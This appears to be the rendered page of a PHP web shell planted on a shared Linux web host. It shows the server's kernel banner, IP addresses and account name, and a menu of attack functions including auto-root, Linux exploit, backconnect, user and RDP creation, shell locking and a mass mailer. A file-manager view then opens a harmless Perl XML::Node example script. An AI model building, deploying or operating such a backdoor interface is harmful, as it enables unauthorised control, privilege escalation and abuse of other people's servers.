Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libxml-node-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
foo.xml
51
B
-rw-r--r--
orders.xml
574
B
-rw-r--r--
parse-foo.pl
740
B
-rw-r--r--
parse-orders.pl
1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : parse-foo.pl
#!/usr/bin/perl -w use XML::Node; $xml_node = XML::Node->new(); $xml_node->register( "foo", 'char' => \$variable ); $xml_node->register( "foo>bar", "start" => sub { print "foo-bar[start](relative)\n" } ); $xml_node->register( "foo>bar", "end" => sub { print "foo-bar[end](relative)\n" } ); $xml_node->register( ">foo>bar", "end" => sub { print "foo-bar[end](absolute)\n" } ); $xml_node->register( ">foo:type", "attr" => sub { print "foo-type[attr](absolute)\n" } ); $xml_node->register( "foo:type", "attr" => sub { print "foo-type[attr](relative)\n" } ); my $file = "foo.xml"; print "Processing file [$file]...\n"; open(FOO, $file); $xml_node->parse(*FOO); close(FOO); print "<foo> has content: [$variable]\n";
Close
